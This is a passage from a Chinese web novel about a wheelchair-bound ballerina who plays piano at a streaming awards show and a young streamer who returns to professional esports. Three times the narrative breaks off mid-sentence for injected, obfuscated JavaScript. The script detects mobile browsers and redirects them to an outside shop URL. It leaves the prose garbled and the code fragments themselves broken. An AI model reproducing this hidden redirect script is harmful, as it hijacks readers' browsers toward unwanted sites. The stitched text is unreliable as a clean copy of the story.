说罢周月白挂了电话,时间不多,她必须争分夺秒。身边正好路过一个工作人员,周月白叫住他,要了工作人员的对讲机用:“我是周月白,新人奖的钢琴表演者在过来的路上发生交通事故不能到场,钢琴演奏由我来顶替。” 对讲机那边有些哗然。 周月白静静地说:“时间紧急,我只说一次。主持人删去北栀钢琴演奏的介绍,只介绍歌手林熠;钢琴摆放位置往后挪,不摆琴凳,取消钢琴点位的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621119|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 聚光灯,只保留歌手位置的灯光。” 露西反应过来,捏着对讲小跑到周月白身边,有些不解地问:“取消琴凳,这要求的意思是……你要亲自给林熠伴奏吗?” 周月白点点头。 “可你不是……”露西来得早,隐隐约约对周月白的家事有一些了解,说到一半惊觉这些事并不是她能多嘴的。 她知道大小姐自己举荐的人掉链子会给公司造成损失,面子上也不好看,于是试探性地问道:“其实没必要你亲自下场的,如果是怕影响直播效果,咱们当时还预备了planB的,周漪今天也来了随时可以替补。” 周月白只是垂眸:“你放心,这曲子我会弹。” 后半句话的声音有些轻,在音响调试声中模模糊糊听不真切—— 我只是觉得……这样的他,不应该失去这个舞台。 - 团队训练有素,跟总导演确认好之后立刻着手修改主持词、更换道具。 直播在约定时间准时开幕,环节进行到最有潜力新人奖正式颁奖的时候,林熠接过奖杯,有点雀跃地朝之前周月白所在的方向张望,却见那里空无一人。 他动作滞缓了半拍,笑容也逐渐平息。 工作人员为了钢琴表演的事情忙前忙后,都以为早就有人把这么大的事情告诉过林熠了,却没想到谁都没说过。 到了演出环节,灯光拉暗,林熠跟随着追光灯走上台,听到钢琴声缓缓流泻出来,他有点不可置信地睁大了眼睛。 舞台上干冰弄得烟雾缭绕,直播镜头不至于捕捉到这一点微妙的表情,林熠训练已久,音调和歌词早就刻进骨子,不会因为一点慌乱就掉链子。 林熠一开嗓,是有些惊艳的。他的声音很好听,台风也很稳,唯独只有目光没办法按照舞台老师说的那样望向台下现场观众手中举起的点点星光。 他忍不住地看向那架纯白三角钢琴前坐着的人。 这一幕像是在他梦里出现过,他总觉得听到过周月白的琴声。 “雨下整夜,我的爱溢出就像雨水。 院子落叶,跟我的思念厚厚一叠。 几句是非,也无法将我的热情冷却。 你出现在我诗的每一页。 …… 我接着写,把永远爱你写进诗的结尾。 你是我唯一想要的了解。” 原本的设计是曲将终了时,北栀起身走过去与林熠一起到舞台中央致谢,两道追光灯交汇到一起,再蔓延着点亮主灯光。 周月白不能站起身,自然也删掉了这个舞台设计,然而她却看到林熠一步步朝她走过来了,这不是事先安排的走位。 他身上带着聚光灯,近在咫尺时,把周月白这一方天地也照亮了。 林熠缓缓弯腰,十足绅士地欠身朝她伸出手,她便也只能握上他的手,灯光在这一刻大盛。 两个人最近的时候,林熠避开麦克风,用只有两个人能听到的声音对她说:“谢谢你。” 台下有掌声响起,舞台上光芒太炫目,林熠朝下望也看不见观众席上的其他人。 就只有周月白。 他闭上眼。 心脏止不住地狂跳。 会不会,这里就是他人生的终点了,他这辈子的巅峰。 ——是她带给他的。 16. 融冰(01) 有惊无险,演出结束圆满结束。 回到后台时周月白冲林熠说:“最后的环节还需要主播们上台,你再等等吧,我先去医院看北栀。” 林熠一愣:“医院?” 周月白:“你不知道北栀车祸去了医院?上台前居然没人跟你说?” 林熠还没消化过来,只能点点头。 周月白忽然笑了:“那你刚才在台上说什么谢谢?我还以为你是谢我替北栀上台保住你的节目。” 林熠有点羞赧,他自己都很难说清,为什么在台上看到周月白那一刻心里是感激。 好像仅仅只是感激这一刻台上的人是她。 他不自在地摸了摸鼻子,生硬地问:“你不是学跳舞的吗?我都不知道你钢琴也弹得这么好。” “嗯,小时候也学过一点钢琴。”周月白回忆了一下,“大概两个月。” “才学两个月就能弹这么好的吗?钢琴还能这么速成?”林熠不禁感慨地问,“那后来怎么不弹了?” “因为要跳舞。”周月白不想多说,抬手看了一眼表,“我要去医院了。” “我也去。”林熠根本无需思考,理由都无需编造,“毕竟是我的搭档,我也挺担心她的。” 周月白在脑子里梳理了一下接下来的直播流程,林熠在不在也没太大影响,当即拍板同意了。 - 两人赶到病房时,北栀头上缠着绷带,手里却还捧着手机在看Z站的年度盛典直播。 瞧见林熠推着周月白进门,她十分夸张地叫了出来:“我去,上一秒还在屏幕里,你俩搁这闪现呢?” 看她生龙活虎的样子,周月白悬着的心才稍稍放下来,于是面无表情地提醒她:“医院,安静。” 北栀立刻委委屈屈地噤声。 隔壁病床的一个男人突然出声:“林熠?” 大家循声望去,男子身穿衬衫和浅灰色西裤,戴着一副金丝边眼镜,其中一边的镜腿似乎有些歪了。 他的手臂缠着绷带挂在脖颈,乍一看伤势还挺严重的。 林熠不明就里地用手指指自己:“是在叫我吗?您认识我?” 西装男笑了笑说:“刚刚这位小姐邀请我看直播,你们的表演我印象很深刻。” 北栀解释道:“这位先生是跟我一样倒霉被追尾的另一位车主。” 来探病的两人心情复杂,她们没想到北栀的社交牛鼻症已经发展到可以在医院病房里拉着刚刚认识的陌生男人一起看直播的程度了。 北栀冲周月白吐吐舌头:“来医院的路上我看到靳先生手里有年度盛典的邀请函,但我们俩都去不成现场,所以就只好在病房里看线上转播了。” 这倒让人很意外。 具体的邀请人员名单周月白并不清楚,只知道基本都是娱乐圈或者游戏圈的人。 倒是林熠看眼前的男人,越看越觉得眼熟,正准备开口问点什么,男人的电话忽然响了。 他跟电话对面只说了几句,随后长手一勾,拿起搭在一旁衣架上的西服外套准备走人。 “有点急事,先走一步。” 北栀有点担心地问他:“你的伤没事吗?看起来还挺严重的耶,医生让你走吗?” “没什么大事,包得夸张而已。”他笑着晃了晃手机,“有事联系。” 看来两人还留了联系方式。 男人离开后,周月白上前仔细询问北栀的伤势,看她确实没什么大问题才放下心来。 这时一旁手机里播放的盛典直播也刚好结束谢幕,屏幕上方出现了一个微博弹窗,北栀点进去一看,笑着说:“这次办得比去年还好呢,文娱榜热搜第一。” 随手一刷新,刷出一家媒体发的现场图,其中一张是周月白身着白裙坐在钢琴旁,纤细的手指抚在黑白琴键上,追光灯让她周身氤氲着光晕,真如月亮一样皎洁。 最重要的是,从嘴角蔓延到眼角眉梢,她分明是笑着的。 北栀递到周月白面前:“这也太美了吧,林熠你现场看是不是更好看?” 突然被cue到的林熠稍微愣了一下,但还是十分肯定地说:“是。” 北栀开开心心地把手机里的图片保存下来,还不忘对周月白惋惜道:“这次的照片肯定也会叫你爸全撤掉吧,更何况还是你弹钢琴的……这么好看,太可惜了耶。” 多年来周廷一直将周月白的隐私保护得很好,再加上两人闹过那么多年的“离家出走断绝关系”,除了身边亲近的朋友、公司几个早年间的员工,没多少人知道周月白的具体身份。 刚好这时回家给北栀取换洗衣物的母亲回来了,看到周月白立刻热情地招呼:“月白呀,这么晚还赶过来,发你地址的时候不是说了,没什么大事,明天再过来就行。” 周月白和北栀一家人关系都很好,北栀母亲林韵如更是一直拿她当女儿看待,她笑着说:“阿姨,正好我那边忙完了,不过来看看我也不放心。” 林韵如有一段时间没见到周月白了,握着她的手嘘寒问暖:“你看看你,自己也是病人呢,腿恢复得怎么样?” “上周刚去复查过,医生说恢复得很好,不会影响以后走路。” “那就好,那就好。” 两人都绝口不提跳舞的事,林韵如的手轻轻拍着周月白,眼里满是疼惜。 一旁北栀幽幽地说:“两位女士,你们亲爱的女儿、可爱的朋友还躺在病床上呢,可以先停止你们母女情深的戏码吗?” 林韵如白了北栀一眼:“你不是好端端的吗。” 北栀扁扁嘴:“我不好,我从中午到现在都没吃东西呢,林女士,我要的藕粉你带来了吗?” 林韵如一副拿她没办法的样子,起身拿起保温壶准备出去打开水,周月白也说想去倒杯水喝跟了上去,正好带着林阿姨去找主治医生聊一聊北栀的情况,看什么时候能出院。 原本满当的病房忽然就空下来,只剩下林熠陪着北栀。 北栀夸奖道:“你今天演出表现得很不错哦,比每次练习的时候都好。” 林熠摸了摸头发,面对夸奖还是觉得有些不自然,他轻咳一声说:“主要是舞台效果好……还有多亏了周月白钢琴弹得厉害。” 北栀有点骄傲地说:“能不厉害吗!像她这样有绝对音感的人能有几个?二十年来没练过琴也能弹成今天这样,虽说曲子简单吧,但除了她估计没人行。” 林熠疑惑:“绝对音感?” “是哦,她刚开始学钢琴的时候,老师是个钢琴大师,发现她在没有基准音提示的情况下,几乎能正确听出所有钢琴上随意出现的音。”北栀眼睛转了转,“这么说吧,我从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621120|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 五岁起学钢琴,大概也只能听出一半左右。” 北栀看着林熠惊讶的表情,继续说:“反正那位大师发现她天生拥有绝对音感之后就想收她当学生,可惜那时候她妈妈不同意,想让她专心学舞蹈。” “不能都学吗?”林熠不懂得艺术,只觉得跳舞弹琴本来也没什么冲突的,北栀不就是会弹钢琴的舞蹈系学生吗? “对于普通人家的小孩来说,两样都当做兴趣爱好或者说升学的渠道倒是都可以学,但是月白的妈妈是一位舞蹈家,特别厉害的那种,她一心想让月白继承衣钵,怎么能让她分心学别的。” 林熠想起刚刚在手机上看到周月白弹琴的照片,他说:“可她弹钢琴的样子看起来很……开心。” 北栀点点头,有些无奈地说:“其实我也觉得她是喜欢弹钢琴的,具体的我也不清楚,只知道她一直很坚定要学舞蹈。” 林熠忍不住问:“那她现在不能跳舞了,为什么不能去弹钢琴?” 北栀摇摇头:“她不会的。当初她爸想让她改弹钢琴,而她坚持要跳芭蕾,因为这事跟她爸闹了好多年,甚至赌气自己打工赚钱上学,虽然不知道是什么原因,肯定不是轻易就能迈过去的。” 林熠心里有好多疑惑,但是听见北栀母亲和周月白说着话往回走的声音,他只好先停止这段对话。 - 接下来的日子里,林熠忙得一刻不停。 但以前的忙,是庸庸碌碌的忙,像蚁群中每一只渺小的工蚁,不辞辛劳仅为果腹生存。 而如今不同了,连陈思睿都赞叹不已,没想到Z站在如此短暂的时间里就将林熠彻底捧成了明日之星。 颁奖典礼直播之后,千万用户一起看到了这个颜值在线、声音好听且游戏技术极佳的新人男主播。 那段表演视频被某个千万粉颜值博主送上热搜,配文【这是游戏主播?我还以为是哪个团的练习生!这种又清冷又热血的少年感谁懂啊!三分钟之内我要知道他的全部信息!】 战队解散和前职业选手的事本来也不是秘密,稍微一查就被挖出来。这下可好,大家对美强惨更没抵抗力。 热搜上榜那天林熠直播间粉丝激增七十万,日后以每天十万左右的增幅稳定上升,短短几天时间就成为了新晋的百万量级主播。 林熠生平第一次体会到“躺着也赚钱”的感觉。 直播间里几乎连续有人在刷礼物,有人只是用免费道具捧个人场,有的人则是势必要被他注意到所以连续刷着大额礼物。 他还是想尽可能照顾到所有粉丝,但确实心有余而力不足。 这些天每次一觉醒来都能看到私信箱里有各种合作邀约。 有希望他参加练习生选秀的、有想让他接推广卖货的、有希望他上一次电视节目的…… 这背后每一笔金额,都是他以前想都不敢想的数字。 他不得已要在签名挂上一句“商业合作请联系公司邮箱[email protected]”,公司也确实为他安排了一位专门的商务对接。 林熠这才得以从井喷式的私信中脱离出来,专心投入到游戏和直播中。 然而宿命般的,在某天准备开播前,林熠鬼使神差地打开了收件箱,一封私信静静躺在那里,发件人显示:LOG电子竞技俱乐部。 17. 融冰(02) 电竞圈家喻户晓的老牌豪门俱乐部为什么给他发私信? 林熠心里一颤,有种不可置信的狂喜涌上心头,鼠标从来握得很稳的他点开对话时破天荒地手抖了。 很短的一封简讯,林熠却这么呆呆地看了屏幕好一会儿,他才冲隔壁大喊:“陈思睿!” 陈思睿也在调试设备做开播准备,最近因为林熠和他直播双排,他的粉丝数也在稳步上涨。 听到喊声,他先放下了手里正在找角度的美颜摄像头,一边往隔壁走一边不耐烦地问:“叫什么?” 两分钟后,陈思睿和林熠一起坐在电脑前发愣。 陈思睿呆呆地问:“这是官方号吗?不是高仿吧?” 林熠早就确认过了,当着陈思睿的面点开账号主页,赫然官方认证和百万粉丝在列。LOG不缺钱,也不缺名气,最是惜才。 林熠说:“LOG约我聊聊,是不是代表……” 陈思睿兴奋地喊出来:“我艹,肯定是啊,你能回去打职业了!” 不仅仅是重回职业赛场这么简单,这家俱乐部和他们之前的老东家相比,有更优秀的队友和更好的保障。 林熠可能离世界冠军的梦想更近了一步。 和LOG负责人的面谈定在周末。 巧合的是,LOG总部在上海,但FPS游戏的基地去年刚刚迁到了北京。林熠不用奔波两座城市,只需转两趟地铁,就准时准点到了基地门口。 一路上林熠心里都有些忐忑,可当看到这幢独栋建筑时,他忽然平静下来。 周遭的环境让他想起了在上一个战队青训时的生活: 整日整夜地训练、给他们烧菜的阿姨、每天中午要去跑步的健身房以及当初那一群十五六岁少年们当首发上赛场夺冠的梦想。 这里是属于他的地方。 负责人把他一路领到楼上一间屋子,里面摆着很多台电脑,乍一看像个网吧。战队教练见到林熠,开门见山地说:“林熠,你好,我看过你的直播,很精彩。” 林熠抬手摸了摸后脑勺:“谢谢。” “你以前是打守望先锋的?” “对。” “可我看你直播绝地求生打得很好。” “射击游戏我玩的都还行,绝地求生最近比较火,所以就常播这个。” 旁边的领队附和道:“确实是,现在绝地求生比守望先锋的热度高太多了,看比赛的人也多。” 教练又开口了:“你平常用的账号我知道,排名很靠前,能在这现场打一把吗?” 林熠又确认了一遍:“绝地求生?” “是的,我是绝地求生分部的教练,找你来也是想看看你能否加入我们这支队伍试训。” 说不上失望,只是有点意外,林熠垂眸道:“我还以为你们是找我来打守望先锋。” 负责人在一旁解释道:“出于市场角度考虑,我们俱乐部的守望先锋分部也不会再继续招收新人了。但是你在绝地求生里展现出来的操作和意识也非常亮眼,很抱歉这点我在之前没说明白,如果你实在不愿意换个游戏的话……” 林熠刚刚垂下的眼睛重新抬起来,注视着面前的人,没有什么犹豫地说:“我愿意试试。” 至少比当游戏主播,能离梦想更近一点。 游戏一共打了两局,却花了不少时间。 因为一局吃鸡,一局第二名。 最后林熠是带着合约离开的,走之前负责人握住了林熠的手,对他说:“欢迎加入我们,我期待着你带给我们惊喜。” - 直到出门坐上了地铁,林熠都恍若置身云端。 事情顺利到不可思议。 难以置信前不久他刚因为战队解散以为自己的人生彻底完蛋了,而今天他又获得了重返职业舞台的机会。 林熠坐在地铁座位上,有些好笑地翻看着之前心情糟糕时为了发泄情绪而发的私密朋友圈。 【今天吃香菇炖鸡,明天吃老坛酸菜,后天吃红烧牛肉!】 配图是一堆袋装泡面散落在桌子上。 【我有什么错?打网吧赛赚奖金犯法?虽然确实是有点虐菜o.o】 同一天还发了一条: 【今天见到了第一个给我刷礼物的人……这人说话真的很讨厌!她还是周唯见的姐姐,肯定是周唯见让她给我刷钱的,亏我还以为我真的有了女粉?】 【艹,什么鬼东西,真想打死隔壁那个煞笔!!】 配图是一个兔耳朵发卡。 【救命救命救命救命救命,这不会是老同学吧……好像真的是啊……没脸直播了……】 配图是一张流泪猫猫头。 【这么多钱?(*^▽^*)直播……真香!!】 配图是一张王境泽表情包,还有礼物钱包里的金额。 【钱难道也不是万能的吗?】 配图是直播间里的一张截图。 林熠手指一动,点开了那张截图—— 因为他是直接在直播中语音说话的,所以整张图里只有“美短加白”一个人在说话。 * “刚才你说,你们战队被解散了?” “那你现在做直播,也是为了赚钱吗?” “为了梦想?” “好巧,我是学舞蹈的,可我刚刚受了伤,不能再上台了。” “不,就是爱好。” “我家很有钱。” “幸运吗?” “可是,你还有重回赛场的机会,但我再也没有重回舞台的机会了。” * 林熠看着最后那句话,久久没回过神。 地铁飞速行驶的啸声中,他听见语音播报的站名,距离目的地还有十二站,但是管它呢。 林熠在这站下了车。 - 颁奖典礼结束以后的很多天一直都是湛蓝的晴天。 周月白现在还行动不便,最近阳光明媚的午后,她喜欢披着毛呢披风到院子里呼吸新鲜空气,看看天空发呆。 偶尔一晃神,她会记起演奏钢琴那天舞台上那束明亮的追光灯。 下一秒周月白看见一道熟悉的身影出现在眼前,举着双手冲她挥舞,她有些不可置信地眨眨眼,确定来者真的是林熠。 可能是上次来的时候门卫保安见过他,直接放行了。 周月白看到林熠因为匆忙跑过来而有些泛红的脸颊。 “你怎么过来了?”周月白脑子转了一圈立刻想到,“噢,是不是和周唯见有约?他去上补习班了还要晚点才能回来,要不你先进屋……” “不用!”林熠说,“不用进去,我的意思是,我不是来找他的,我是来找你的。” 周月白有点意外,挑了挑眉,示意他继续说下去。 林熠绽开一个少年气十足的笑容,从双肩包里掏出了一份文件举起来:“我今天去了LOG,他们和我签了试训合约,不出意外的话,我又能继续打职业了。” “哇。”一向波澜不惊的周月白面上也是一喜,“恭喜你。” 林熠挠挠头,有点腼腆:“只不过打的不是我之前的项目了,是另一款游戏,但我也玩得很好。” 这是实话,周月白见过他打游戏的样子。 林熠将合约书卷了一下揣进兜里,然后掏出手机,把那张截图递到周月白面前,忽然正色,认真地说:“刚认识的时候你说,我还有重回赛场的机会,可你再也没有重回舞台的机会了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621121|187889||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “现在我确实重回赛场了,只不过不是从前的赛场,梦想的也不再是同一座奖杯。”林熠的眼里闪着少年独有的那种炽热又真诚的光芒,“或许如你所说,你确实没有重回之前那个舞台的机会了,但是……” “如果实在回不去,换个舞台不就行了?” 四目相对,时间好像过了一刻钟,也好像只有短短几秒钟。 远处响起一声汽车鸣笛,是周廷的车。 林熠不想添麻烦,飞快道别,跑走了。 等周廷下车,只瞧见一个渐远的少年身影,好奇问:“谁啊?” 周月白含糊地说:“咱们公司今年得新人奖的主播,周唯见的老同学,来找他的。” 周廷忽然想到什么,脱口而出:“哦,唱歌那个。” 颁奖典礼周廷只在开幕式上露了面,然后就马不停蹄去外地开会,没看到周月白救场上台演奏。 直到秘书把现场视频发给他,一向自称与女儿不和的总裁,竟然掉了两滴眼泪。 刚才周月白一提醒,周廷一下想起来,跑走的男孩就是那视频里的另一个人,怪不得有些眼熟。 “怎么不留他吃个晚饭,不是小见的朋友吗。” 周月白没想到周廷知道她跟林熠的演出,表情有些不自然,一边操控轮椅回屋一边说:“人家还有别的事忙。” 周廷没再追问,一进门就叫住正要去准备饭菜的范妈:“路上吃过了,不吃了。”转头从玄关柜子里掏出把钥匙交到范妈手上,“去把琴房的门打开,收拾收拾吧,以后就不上锁了。” 范妈微怔,开心地看着眼前的父女两人:“小姐愿意弹琴了?” 周廷沉默了一瞬才回答:“她一直都是愿意的。” 周月白从旁边听到这话,冷冷一笑:“谁告诉你的?” 周廷似乎很疲惫,他揉了揉眉心,耐心地说:“我不是逼你一定要弹钢琴,更不用你靠弹钢琴得奖或是维生,我只是看到你弹钢琴的时候很开心,跟小时候一样开心。” 他叹了口气:“爸爸想让你开心。” 这样平和的父女交谈已经很久没有过了。 自从周月白坚持继承母亲的遗志更加刻苦努力,近乎疯狂地练习芭蕾,周廷就好像一直在生她的气。 年幼时周月白曾觉得,是因为母亲的突然离开对周廷打击太大,而她跳芭蕾的样子又那么像年轻时的母亲,所以周廷才不允许她再练芭蕾,以免触景伤怀。 为此她叛逆地反抗,不惜砸掉家里的钢琴,拒绝更改志愿,哪怕代价是放弃家里的全部资金帮助,像离家出走一样去完成舞蹈梦想。 直到今天听到周廷的话,她恍然间觉得自己一直在反抗的,竟然是快乐。 她不敢活得快乐。 不可置信,也不愿相信,周月白反驳道:“你只是想要一个拿得出手的女儿。” 周廷深深望了周月白一眼,她这才发现,当初跟她一样脾气梆硬的父亲,如今眼角多了几道细纹,眼神却变得如此柔和。 他说:“我只想要一个会笑的女儿。” 琴房的门已经被打开,范妈正带着另一个帮佣打扫着积尘。 本以为尘封多年的房间肯定是一副破败之相,但没想到屋里十分整洁,除去家具上的防尘布,两人很快便收拾妥当了。 当初她砸坏的琴早已经被周廷更换,只一眼,周月白耳边恍惚响起脆生生的童声:“爸爸,我不喜欢这台白色的钢琴!我想要隔壁程杭那种三角的……不过他那台黑色的也不好看。” “那我们月白喜欢什么颜色?” “红色的!我想要正红色的钢琴!” 此刻琴房中央,摆着一台施坦威炫彩系列的正红色三角钢琴。